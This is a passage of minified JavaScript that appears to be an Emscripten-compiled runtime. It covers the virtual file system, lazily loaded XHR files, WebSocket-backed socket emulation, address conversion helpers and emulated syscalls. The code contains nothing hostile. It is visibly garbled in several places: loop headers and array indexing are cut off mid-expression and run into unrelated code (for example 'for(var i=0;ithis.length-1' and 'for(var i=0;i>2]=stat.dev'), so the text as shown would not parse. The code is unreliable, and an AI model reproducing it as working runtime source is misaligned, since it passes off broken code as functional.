FS.streams[fd]}),createStream:(function(stream,fd_start,fd_end){if(!FS.FSStream){FS.FSStream=(function(){});FS.FSStream.prototype={};Object.defineProperties(FS.FSStream.prototype,{object:{get:(function(){return this.node}),set:(function(val){this.node=val})},isRead:{get:(function(){return(this.flags&2097155)!==1})},isWrite:{get:(function(){return(this.flags&2097155)!==0})},isAppend:{get:(function(){return this.flags&1024})}})}var newStream=new FS.FSStream;for(var p in stream){newStream[p]=stream[p]}stream=newStream;var fd=FS.nextfd(fd_start,fd_end);stream.fd=fd;FS.streams[fd]=stream;return stream}),closeStream:(function(fd){FS.streams[fd]=null}),chrdev_stream_ops:{open:(function(stream){var device=FS.getDevice(stream.node.rdev);stream.stream_ops=device.stream_ops;if(stream.stream_ops.open){stream.stream_ops.open(stream)}}),llseek:(function(){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)})},major:(function(dev){return dev>>8}),minor:(function(dev){return dev&255}),makedev:(function(ma,mi){return ma<<8|mi}),registerDevice:(function(dev,ops){FS.devices[dev]={stream_ops:ops}}),getDevice:(function(dev){return FS.devices[dev]}),getMounts:(function(mount){var mounts=[];var check=[mount];while(check.length){var m=check.pop();mounts.push(m);check.push.apply(check,m.mounts)}return mounts}),syncfs:(function(populate,callback){if(typeof populate==="function"){callback=populate;populate=false}FS.syncFSRequests++;if(FS.syncFSRequests>1){console.log("warning: "+FS.syncFSRequests+" FS.syncfs operations in flight at once, probably just doing extra work")}var mounts=FS.getMounts(FS.root.mount);var completed=0;function doCallback(err){assert(FS.syncFSRequests>0);FS.syncFSRequests--;return callback(err)}function done(err){if(err){if(!done.errored){done.errored=true;return doCallback(err)}return}if(++completed>=mounts.length){doCallback(null)}}mounts.forEach((function(mount){if(!mount.type.syncfs){return done(null)}mount.type.syncfs(mount,populate,done)}))}),mount:(function(type,opts,mountpoint){var root=mountpoint==="/";var pseudo=!mountpoint;var node;if(root&&FS.root){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}else if(!root&&!pseudo){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});mountpoint=lookup.path;node=lookup.node;if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}}var mount={type:type,opts:opts,mountpoint:mountpoint,mounts:[]};var mountRoot=type.mount(mount);mountRoot.mount=mount;mount.root=mountRoot;if(root){FS.root=mountRoot}else if(node){node.mounted=mount;if(node.mount){node.mount.mounts.push(mount)}}return mountRoot}),unmount:(function(mountpoint){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});if(!FS.isMountpoint(lookup.node)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=lookup.node;var mount=node.mounted;var mounts=FS.getMounts(mount);Object.keys(FS.nameTable).forEach((function(hash){var current=FS.nameTable[hash];while(current){var next=current.name_next;if(mounts.indexOf(current.mount)!==-1){FS.destroyNode(current)}current=next}}));node.mounted=null;var idx=node.mount.mounts.indexOf(mount);assert(idx!==-1);node.mount.mounts.splice(idx,1)}),lookup:(function(parent,name){return parent.node_ops.lookup(parent,name)}),mknod:(function(path,mode,dev){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);if(!name||name==="."||name===".."){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.mayCreate(parent,name);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.mknod){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.mknod(parent,name,mode,dev)}),create:(function(path,mode){mode=mode!==undefined?mode:438;mode&=4095;mode|=32768;return FS.mknod(path,mode,0)}),mkdir:(function(path,mode){mode=mode!==undefined?mode:511;mode&=511|512;mode|=16384;return FS.mknod(path,mode,0)}),mkdirTree:(function(path,mode){var dirs=path.split("/");var d="";for(var i=0;ithis.length-1||idx<0){return undefined}var chunkOffset=idx%this.chunkSize;var chunkNum=idx/this.chunkSize|0;return this.getter(chunkNum)[chunkOffset]};LazyUint8Array.prototype.setDataGetter=function LazyUint8Array_setDataGetter(getter){this.getter=getter};LazyUint8Array.prototype.cacheLength=function LazyUint8Array_cacheLength(){var xhr=new XMLHttpRequest;xhr.open("HEAD",url,false);xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error("Couldn't load "+url+". Status: "+xhr.status);var datalength=Number(xhr.getResponseHeader("Content-length"));var header;var hasByteServing=(header=xhr.getResponseHeader("Accept-Ranges"))&&header==="bytes";var usesGzip=(header=xhr.getResponseHeader("Content-Encoding"))&&header==="gzip";var chunkSize=1024*1024;if(!hasByteServing)chunkSize=datalength;var doXHR=(function(from,to){if(from>to)throw new Error("invalid range ("+from+", "+to+") or no bytes requested!");if(to>datalength-1)throw new Error("only "+datalength+" bytes available! programmer error!");var xhr=new XMLHttpRequest;xhr.open("GET",url,false);if(datalength!==chunkSize)xhr.setRequestHeader("Range","bytes="+from+"-"+to);if(typeof Uint8Array!="undefined")xhr.responseType="arraybuffer";if(xhr.overrideMimeType){xhr.overrideMimeType("text/plain; charset=x-user-defined")}xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error("Couldn't load "+url+". Status: "+xhr.status);if(xhr.response!==undefined){return new Uint8Array(xhr.response||[])}else{return intArrayFromString(xhr.responseText||"",true)}});var lazyArray=this;lazyArray.setDataGetter((function(chunkNum){var start=chunkNum*chunkSize;var end=(chunkNum+1)*chunkSize-1;end=Math.min(end,datalength-1);if(typeof lazyArray.chunks[chunkNum]==="undefined"){lazyArray.chunks[chunkNum]=doXHR(start,end)}if(typeof lazyArray.chunks[chunkNum]==="undefined")throw new Error("doXHR failed!");return lazyArray.chunks[chunkNum]}));if(usesGzip||!datalength){chunkSize=datalength=1;datalength=this.getter(0).length;chunkSize=datalength;console.log("LazyFiles on gzip forces download of the whole file when length is accessed")}this._length=datalength;this._chunkSize=chunkSize;this.lengthKnown=true};if(typeof XMLHttpRequest!=="undefined"){if(!ENVIRONMENT_IS_WORKER)throw"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";var lazyArray=new LazyUint8Array;Object.defineProperties(lazyArray,{length:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._length})},chunkSize:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._chunkSize})}});var properties={isDevice:false,contents:lazyArray}}else{var properties={isDevice:false,url:url}}var node=FS.createFile(parent,name,properties,canRead,canWrite);if(properties.contents){node.contents=properties.contents}else if(properties.url){node.contents=null;node.url=properties.url}Object.defineProperties(node,{usedBytes:{get:(function(){return this.contents.length})}});var stream_ops={};var keys=Object.keys(node.stream_ops);keys.forEach((function(key){var fn=node.stream_ops[key];stream_ops[key]=function forceLoadLazyFile(){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return fn.apply(null,arguments)}}));stream_ops.read=function stream_ops_read(stream,buffer,offset,length,position){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}var contents=stream.node.contents;if(position>=contents.length)return 0;var size=Math.min(contents.length-position,length);assert(size>=0);if(contents.slice){for(var i=0;i>2]=stat.dev;HEAP32[buf+4>>2]=0;HEAP32[buf+8>>2]=stat.ino;HEAP32[buf+12>>2]=stat.mode;HEAP32[buf+16>>2]=stat.nlink;HEAP32[buf+20>>2]=stat.uid;HEAP32[buf+24>>2]=stat.gid;HEAP32[buf+28>>2]=stat.rdev;HEAP32[buf+32>>2]=0;HEAP32[buf+36>>2]=stat.size;HEAP32[buf+40>>2]=4096;HEAP32[buf+44>>2]=stat.blocks;HEAP32[buf+48>>2]=stat.atime.getTime()/1e3|0;HEAP32[buf+52>>2]=0;HEAP32[buf+56>>2]=stat.mtime.getTime()/1e3|0;HEAP32[buf+60>>2]=0;HEAP32[buf+64>>2]=stat.ctime.getTime()/1e3|0;HEAP32[buf+68>>2]=0;HEAP32[buf+72>>2]=stat.ino;return 0}),doMsync:(function(addr,stream,len,flags){var buffer=new Uint8Array(HEAPU8.subarray(addr,addr+len));FS.msync(stream,buffer,0,len,flags)}),doMkdir:(function(path,mode){path=PATH.normalize(path);if(path[path.length-1]==="/")path=path.substr(0,path.length-1);FS.mkdir(path,mode,0);return 0}),doMknod:(function(path,mode,dev){switch(mode&61440){case 32768:case 8192:case 24576:case 4096:case 49152:break;default:return-ERRNO_CODES.EINVAL}FS.mknod(path,mode,dev);return 0}),doReadlink:(function(path,buf,bufsize){if(bufsize<=0)return-ERRNO_CODES.EINVAL;var ret=FS.readlink(path);var len=Math.min(bufsize,lengthBytesUTF8(ret));var endChar=HEAP8[buf+len];stringToUTF8(ret,buf,bufsize+1);HEAP8[buf+len]=endChar;return len}),doAccess:(function(path,amode){if(amode&~7){return-ERRNO_CODES.EINVAL}var node;var lookup=FS.lookupPath(path,{follow:true});node=lookup.node;var perms="";if(amode&4)perms+="r";if(amode&2)perms+="w";if(amode&1)perms+="x";if(perms&&FS.nodePermissions(node,perms)){return-ERRNO_CODES.EACCES}return 0}),doDup:(function(path,flags,suggestFD){var suggest=FS.getStream(suggestFD);if(suggest)FS.close(suggest);return FS.open(path,flags,0,suggestFD,suggestFD).fd}),doReadv:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.read(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.write(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr}return ret}),varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var ret=HEAP32[SYSCALLS.varargs-4>>2];return ret}),getStr:(function(){var ret=Pointer_stringify(SYSCALLS.get());return ret}),getStreamFromFD:(function(){var stream=FS.getStream(SYSCALLS.get());if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return stream}),getSocketFromFD:(function(){var socket=SOCKFS.getSocket(SYSCALLS.get());if(!socket)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return socket}),getSocketAddress:(function(allowNull){var addrp=SYSCALLS.get(),addrlen=SYSCALLS.get();if(allowNull&&addrp===0)return null;var info=__read_sockaddr(addrp,addrlen);if(info.errno)throw new FS.ErrnoError(info.errno);info.addr=DNS.lookup_addr(info.addr)||info.addr;return info}),get64:(function(){var low=SYSCALLS.get(),high=SYSCALLS.get();if(low>=0)assert(high===0);else assert(high===-1);return low}),getZero:(function(){assert(SYSCALLS.get()===0)})};function ___syscall10(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr();FS.unlink(path);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}var SOCKFS={mount:(function(mount){Module["websocket"]=Module["websocket"]&&"object"===typeof Module["websocket"]?Module["websocket"]:{};Module["websocket"]._callbacks={};Module["websocket"]["on"]=(function(event,callback){if("function"===typeof callback){this._callbacks[event]=callback}return this});Module["websocket"].emit=(function(event,param){if("function"===typeof this._callbacks[event]){this._callbacks[event].call(this,param)}});return FS.createNode(null,"/",16384|511,0)}),createSocket:(function(family,type,protocol){var streaming=type==1;if(protocol){assert(streaming==(protocol==6))}var sock={family:family,type:type,protocol:protocol,server:null,error:null,peers:{},pending:[],recv_queue:[],sock_ops:SOCKFS.websocket_sock_ops};var name=SOCKFS.nextname();var node=FS.createNode(SOCKFS.root,name,49152,0);node.sock=sock;var stream=FS.createStream({path:name,node:node,flags:FS.modeStringToFlags("r+"),seekable:false,stream_ops:SOCKFS.stream_ops});sock.stream=stream;return sock}),getSocket:(function(fd){var stream=FS.getStream(fd);if(!stream||!FS.isSocket(stream.node.mode)){return null}return stream.node.sock}),stream_ops:{poll:(function(stream){var sock=stream.node.sock;return sock.sock_ops.poll(sock)}),ioctl:(function(stream,request,varargs){var sock=stream.node.sock;return sock.sock_ops.ioctl(sock,request,varargs)}),read:(function(stream,buffer,offset,length,position){var sock=stream.node.sock;var msg=sock.sock_ops.recvmsg(sock,length);if(!msg){return 0}buffer.set(msg.buffer,offset);return msg.buffer.length}),write:(function(stream,buffer,offset,length,position){var sock=stream.node.sock;return sock.sock_ops.sendmsg(sock,buffer,offset,length)}),close:(function(stream){var sock=stream.node.sock;sock.sock_ops.close(sock)})},nextname:(function(){if(!SOCKFS.nextname.current){SOCKFS.nextname.current=0}return"socket["+SOCKFS.nextname.current++ +"]"}),websocket_sock_ops:{createPeer:(function(sock,addr,port){var ws;if(typeof addr==="object"){ws=addr;addr=null;port=null}if(ws){if(ws._socket){addr=ws._socket.remoteAddress;port=ws._socket.remotePort}else{var result=/ws[s]?:\/\/([^:]+):(\d+)/.exec(ws.url);if(!result){throw new Error("WebSocket URL must be in the format ws(s)://address:port")}addr=result[1];port=parseInt(result[2],10)}}else{try{var runtimeConfig=Module["websocket"]&&"object"===typeof Module["websocket"];var url="ws:#".replace("#","//");if(runtimeConfig){if("string"===typeof Module["websocket"]["url"]){url=Module["websocket"]["url"]}}if(url==="ws://"||url==="wss://"){var parts=addr.split("/");url=url+parts[0]+":"+port+"/"+parts.slice(1).join("/")}var subProtocols="binary";if(runtimeConfig){if("string"===typeof Module["websocket"]["subprotocol"]){subProtocols=Module["websocket"]["subprotocol"]}}subProtocols=subProtocols.replace(/^ +| +$/g,"").split(/ *, */);var opts=ENVIRONMENT_IS_NODE?{"protocol":subProtocols.toString()}:subProtocols;if(runtimeConfig&&null===Module["websocket"]["subprotocol"]){subProtocols="null";opts=undefined}var WebSocketConstructor;if(ENVIRONMENT_IS_NODE){WebSocketConstructor=require("ws")}else if(ENVIRONMENT_IS_WEB){WebSocketConstructor=window["WebSocket"]}else{WebSocketConstructor=WebSocket}ws=new WebSocketConstructor(url,opts);ws.binaryType="arraybuffer"}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EHOSTUNREACH)}}var peer={addr:addr,port:port,socket:ws,dgram_send_queue:[]};SOCKFS.websocket_sock_ops.addPeer(sock,peer);SOCKFS.websocket_sock_ops.handlePeerEvents(sock,peer);if(sock.type===2&&typeof sock.sport!=="undefined"){peer.dgram_send_queue.push(new Uint8Array([255,255,255,255,"p".charCodeAt(0),"o".charCodeAt(0),"r".charCodeAt(0),"t".charCodeAt(0),(sock.sport&65280)>>8,sock.sport&255]))}return peer}),getPeer:(function(sock,addr,port){return sock.peers[addr+":"+port]}),addPeer:(function(sock,peer){sock.peers[peer.addr+":"+peer.port]=peer}),removePeer:(function(sock,peer){delete sock.peers[peer.addr+":"+peer.port]}),handlePeerEvents:(function(sock,peer){var first=true;var handleOpen=(function(){Module["websocket"].emit("open",sock.stream.fd);try{var queued=peer.dgram_send_queue.shift();while(queued){peer.socket.send(queued);queued=peer.dgram_send_queue.shift()}}catch(e){peer.socket.close()}});function handleMessage(data){assert(typeof data!=="string"&&data.byteLength!==undefined);if(data.byteLength==0){return}data=new Uint8Array(data);var wasfirst=first;first=false;if(wasfirst&&data.length===10&&data[0]===255&&data[1]===255&&data[2]===255&&data[3]===255&&data[4]==="p".charCodeAt(0)&&data[5]==="o".charCodeAt(0)&&data[6]==="r".charCodeAt(0)&&data[7]==="t".charCodeAt(0)){var newport=data[8]<<8|data[9];SOCKFS.websocket_sock_ops.removePeer(sock,peer);peer.port=newport;SOCKFS.websocket_sock_ops.addPeer(sock,peer);return}sock.recv_queue.push({addr:peer.addr,port:peer.port,data:data});Module["websocket"].emit("message",sock.stream.fd)}if(ENVIRONMENT_IS_NODE){peer.socket.on("open",handleOpen);peer.socket.on("message",(function(data,flags){if(!flags.binary){return}handleMessage((new Uint8Array(data)).buffer)}));peer.socket.on("close",(function(){Module["websocket"].emit("close",sock.stream.fd)}));peer.socket.on("error",(function(error){sock.error=ERRNO_CODES.ECONNREFUSED;Module["websocket"].emit("error",[sock.stream.fd,sock.error,"ECONNREFUSED: Connection refused"])}))}else{peer.socket.onopen=handleOpen;peer.socket.onclose=(function(){Module["websocket"].emit("close",sock.stream.fd)});peer.socket.onmessage=function peer_socket_onmessage(event){handleMessage(event.data)};peer.socket.onerror=(function(error){sock.error=ERRNO_CODES.ECONNREFUSED;Module["websocket"].emit("error",[sock.stream.fd,sock.error,"ECONNREFUSED: Connection refused"])})}}),poll:(function(sock){if(sock.type===1&&sock.server){return sock.pending.length?64|1:0}var mask=0;var dest=sock.type===1?SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport):null;if(sock.recv_queue.length||!dest||dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){mask|=64|1}if(!dest||dest&&dest.socket.readyState===dest.socket.OPEN){mask|=4}if(dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){mask|=16}return mask}),ioctl:(function(sock,request,arg){switch(request){case 21531:var bytes=0;if(sock.recv_queue.length){bytes=sock.recv_queue[0].data.length}HEAP32[arg>>2]=bytes;return 0;default:return ERRNO_CODES.EINVAL}}),close:(function(sock){if(sock.server){try{sock.server.close()}catch(e){}sock.server=null}var peers=Object.keys(sock.peers);for(var i=0;i>>0}function __inet_pton6_raw(str){var words;var w,offset,z;var valid6regx=/^((?=.*::)(?!.*::.+::)(::)?([\dA-F]{1,4}:(:|\b)|){5}|([\dA-F]{1,4}:){6})((([\dA-F]{1,4}((?!\3)::|:\b|$))|(?!\2\3)){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i;var parts=[];if(!valid6regx.test(str)){return null}if(str==="::"){return[0,0,0,0,0,0,0,0]}if(str.indexOf("::")===0){str=str.replace("::","Z:")}else{str=str.replace("::",":Z:")}if(str.indexOf(".")>0){str=str.replace(new RegExp("[.]","g"),":");words=str.split(":");words[words.length-4]=parseInt(words[words.length-4])+parseInt(words[words.length-3])*256;words[words.length-3]=parseInt(words[words.length-2])+parseInt(words[words.length-1])*256;words=words.slice(0,words.length-2)}else{words=str.split(":")}offset=0;z=0;for(w=0;w>8&255)+"."+(addr>>16&255)+"."+(addr>>24&255)}function __inet_ntop6_raw(ints){var str="";var word=0;var longest=0;var lastzero=0;var zstart=0;var len=0;var i=0;var parts=[ints[0]&65535,ints[0]>>16,ints[1]&65535,ints[1]>>16,ints[2]&65535,ints[2]>>16,ints[3]&65535,ints[3]>>16];var hasipv4=true;var v4part="";for(i=0;i<5;i++){if(parts[i]!==0){hasipv4=false;break}}if(hasipv4){v4part=__inet_ntop4_raw(parts[6]|parts[7]<<16);if(parts[5]===-1){str="::ffff:";str+=v4part;return str}if(parts[5]===0){str="::";if(v4part==="0.0.0.0")v4part="";if(v4part==="0.0.0.1")v4part="1";str+=v4part;return str}}for(word=0;word<8;word++){if(parts[word]===0){if(word-lastzero>1){len=0}lastzero=word;len++}if(len>longest){longest=len;zstart=word-longest+1}}for(word=0;word<8;word++){if(longest>1){if(parts[word]===0&&word>=zstart&&word>1];var port=_ntohs(HEAP16[sa+2>>1]);var addr;switch(family){case 2:if(salen!==16){return{errno:ERRNO_CODES.EINVAL}}addr=HEAP32[sa+4>>2];addr=__inet_ntop4_raw(addr);break;case 10:if(salen!==28){return{errno:ERRNO_CODES.EINVAL}}addr=[HEAP32[sa+8>>2],HEAP32[sa+12>>2],HEAP32[sa+16>>2],HEAP32[sa+20>>2]];addr=__inet_ntop6_raw(addr);break;default:return{errno:ERRNO_CODES.EAFNOSUPPORT}}return{family:family,addr:addr,port:port}}function __write_sockaddr(sa,family,addr,port){switch(family){case 2:addr=__inet_pton4_raw(addr);HEAP16[sa>>1]=family;HEAP32[sa+4>>2]=addr;HEAP16[sa+2>>1]=_htons(port);break;case 10:addr=__inet_pton6_raw(addr);HEAP32[sa>>2]=family;HEAP32[sa+8>>2]=addr[0];HEAP32[sa+12>>2]=addr[1];HEAP32[sa+16>>2]=addr[2];HEAP32[sa+20>>2]=addr[3];HEAP16[sa+2>>1]=_htons(port);HEAP32[sa+4>>2]=0;HEAP32[sa+24>>2]=0;break;default:return{errno:ERRNO_CODES.EAFNOSUPPORT}}return{}}function ___syscall102(which,varargs){SYSCALLS.varargs=varargs;try{var call=SYSCALLS.get(),socketvararg=SYSCALLS.get();SYSCALLS.varargs=socketvararg;switch(call){case 1:{var domain=SYSCALLS.get(),type=SYSCALLS.get(),protocol=SYSCALLS.get();var sock=SOCKFS.createSocket(domain,type,protocol);assert(sock.stream.fd<64);return sock.stream.fd};case 2:{var sock=SYSCALLS.getSocketFromFD(),info=SYSCALLS.getSocketAddress();sock.sock_ops.bind(sock,info.addr,info.port);return 0};case 3:{var sock=SYSCALLS.getSocketFromFD(),info=SYSCALLS.getSocketAddress();sock.sock_ops.connect(sock,info.addr,info.port);return 0};case 4:{var sock=SYSCALLS.getSocketFromFD(),backlog=SYSCALLS.get();sock.sock_ops.listen(sock,backlog);return 0};case 5:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var newsock=sock.sock_ops.accept(sock);if(addr){var res=__write_sockaddr(addr,newsock.family,DNS.lookup_name(newsock.daddr),newsock.dport);assert(!res.errno)}return newsock.stream.fd};case 6:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(sock.saddr||"0.0.0.0"),sock.sport);assert(!res.errno);return 0};case 7:{var sock=SYSCALLS.getSocketFromFD(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();if(!sock.daddr){return-ERRNO_CODES.ENOTCONN}var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(sock.daddr),sock.dport);assert(!res.errno);return 0};case 11:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),length=SYSCALLS.get(),flags=SYSCALLS.get(),dest=SYSCALLS.getSocketAddress(true);if(!dest){return FS.write(sock.stream,HEAP8,message,length)}else{return sock.sock_ops.sendmsg(sock,HEAP8,message,length,dest.addr,dest.port)}};case 12:{var sock=SYSCALLS.getSocketFromFD(),buf=SYSCALLS.get(),len=SYSCALLS.get(),flags=SYSCALLS.get(),addr=SYSCALLS.get(),addrlen=SYSCALLS.get();var msg=sock.sock_ops.recvmsg(sock,len);if(!msg)return 0;if(addr){var res=__write_sockaddr(addr,sock.family,DNS.lookup_name(msg.addr),msg.port);assert(!res.errno)}HEAPU8.set(msg.buffer,buf);return msg.buffer.byteLength};case 14:{return-ERRNO_CODES.ENOPROTOOPT};case 15:{var sock=SYSCALLS.getSocketFromFD(),level=SYSCALLS.get(),optname=SYSCALLS.get(),optval=SYSCALLS.get(),optlen=SYSCALLS.get();if(level===1){if(optname===4){HEAP32[optval>>2]=sock.error;HEAP32[optlen>>2]=4;sock.error=null;return 0}}return-ERRNO_CODES.ENOPROTOOPT};case 16:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),flags=SYSCALLS.get();var iov=HEAP32[message+8>>2];var num=HEAP32[message+12>>2];var addr,port;var name=HEAP32[message>>2];var namelen=HEAP32[message+4>>2];if(name){var info=__read_sockaddr(name,namelen);if(info.errno)return-info.errno;port=info.port;addr=DNS.lookup_addr(info.addr)||info.addr}var total=0;for(var i=0;i>2]}var view=new Uint8Array(total);var offset=0;for(var i=0;i>2];var iovlen=HEAP32[iov+(8*i+4)>>2];for(var j=0;j>0]}}return sock.sock_ops.sendmsg(sock,view,0,total,addr,port)};case 17:{var sock=SYSCALLS.getSocketFromFD(),message=SYSCALLS.get(),flags=SYSCALLS.get();var iov=HEAP32[message+8>>2];var num=HEAP32[message+12>>2];var total=0;for(var i=0;i>2]}var msg=sock.sock_ops.recvmsg(sock,total);if(!msg)return 0;var name=HEAP32[message>>2];if(name){var res=__write_sockaddr(name,sock.family,DNS.lookup_name(msg.addr),msg.port);assert(!res.errno)}var bytesRead=0;var bytesRemaining=msg.buffer.byteLength;for(var i=0;bytesRemaining>0&&i>2];var iovlen=HEAP32[iov+(8*i+4)>>2];if(!iovlen){continue}var length=Math.min(iovlen,bytesRemaining);var buf=msg.buffer.subarray(bytesRead,bytesRead+length);HEAPU8.set(buf,iovbase+bytesRead);bytesRead+=length;bytesRemaining-=length}return bytesRead};default:abort("unsupported socketcall syscall "+call)}}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall122(which,varargs){SYSCALLS.varargs=varargs;try{var buf=SYSCALLS.get();if(!buf)return-ERRNO_CODES.EFAULT;var layout={"sysname":0,"nodename":65,"domainname":325,"machine":260,"version":195,"release":130,"__size__":390};function copyString(element,value){var offset=layout[element];writeAsciiToMemory(value,buf+offset)}copyString("sysname","Emscripten");copyString("nodename","emscripten");copyString("release","1.0");copyString("version","#1");copyString("machine","x86-JS");return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall140(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),offset_high=SYSCALLS.get(),offset_low=SYSCALLS.get(),result=SYSCALLS.get(),whence=SYSCALLS.get();var offset=offset_low;FS.llseek(stream,offset,whence);HEAP32[result>>2]=stream.position;if(stream.getdents&&offset===0&&whence===0)stream.getdents=null;return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall142(which,varargs){SYSCALLS.varargs=varargs;try{var nfds=SYSCALLS.get(),readfds=SYSCALLS.get(),writefds=SYSCALLS.get(),exceptfds=SYSCALLS.get(),timeout=SYSCALLS.get();assert(nfds<=64,"nfds must be less than or equal to 64");assert(!exceptfds,"exceptfds not supported");var total=0;var srcReadLow=readfds?HEAP32[readfds>>2]:0,srcReadHigh=readfds?HEAP32[readfds+4>>2]:0;var srcWriteLow=writefds?HEAP32[writefds>>2]:0,srcWriteHigh=writefds?HEAP32[writefds+4>>2]:0;var srcExceptLow=exceptfds?HEAP32[exceptfds>>2]:0,srcExceptHigh=exceptfds?HEAP32[exceptfds+4>>2]:0;var dstReadLow=0,dstReadHigh=0;var dstWriteLow=0,dstWriteHigh=0;var dstExceptLow=0,dstExceptHigh=0;var allLow=(readfds?HEAP32[readfds>>2]:0)|(writefds?HEAP32[writefds>>2]:0)|(exceptfds?HEAP32[exceptfds>>2]:0);var allHigh=(readfds?HEAP32[readfds+4>>2]:0)|(writefds?HEAP32[writefds+4>>2]:0)|(exceptfds?HEAP32[exceptfds+4>>2]:0);function check(fd,low,high,val){return fd<32?low&val:high&val}for(var fd=0;fd>2]=dstReadLow;HEAP32[readfds+4>>2]=dstReadHigh}if(writefds){HEAP32[writefds>>2]=dstWriteLow;HEAP32[writefds+4>>2]=dstWriteHigh}if(exceptfds){HEAP32[exceptfds>>2]=dstExceptLow;HEAP32[exceptfds+4>>2]=dstExceptHigh}return total}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall145(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doReadv(stream,iov,iovcnt)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall146(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),iov=SYSCALLS.get(),iovcnt=SYSCALLS.get();return SYSCALLS.doWritev(stream,iov,iovcnt)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall15(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),mode=SYSCALLS.get();FS.chmod(path,mode);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall183(which,varargs){SYSCALLS.varargs=varargs;try{var buf=SYSCALLS.get(),size=SYSCALLS.get();if(size===0)return-ERRNO_CODES.EINVAL;var cwd=FS.cwd();var cwdLengthInBytes=lengthBytesUTF8(cwd);if(size0&&pos+268<=count){var id;var type;var name=stream.getdents.pop();if(name[0]==="."){id=1;type=4}else{var child=FS.lookupNode(stream.node,name);id=child.id;type=FS.isChrdev(child.mode)?2:FS.isDir(child.mode)?4:FS.isLink(child.mode)?10:8}HEAP32[dirp+pos>>2]=id;HEAP32[dirp+pos+4>>2]=stream.position;HEAP16[dirp+pos+8>>1]=268;HEAP8[dirp+pos+10>>0]=type;stringToUTF8(name,dirp+pos+11,256);pos+=268}return pos}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall221(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),cmd=SYSCALLS.get();switch(cmd){case 0:{var arg=SYSCALLS.get();if(arg<0){return-ERRNO_CODES.EINVAL}var newStream;newStream=FS.open(stream.path,stream.flags,0,arg);return newStream.fd};case 1:case 2:return 0;case 3:return stream.flags;case 4:{var arg=SYSCALLS.get();stream.flags|=arg;return 0};case 12:case 12:{var arg=SYSCALLS.get();var offset=0;HEAP16[arg+offset>>1]=2;return 0};case 13:case 14:case 13:case 14:return 0;case 16:case 8:return-ERRNO_CODES.EINVAL;case 9:___setErrNo(ERRNO_CODES.EINVAL);return-1;default:{return-ERRNO_CODES.EINVAL}}}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall268(which,varargs){SYSCALLS.varargs=varargs;try{var 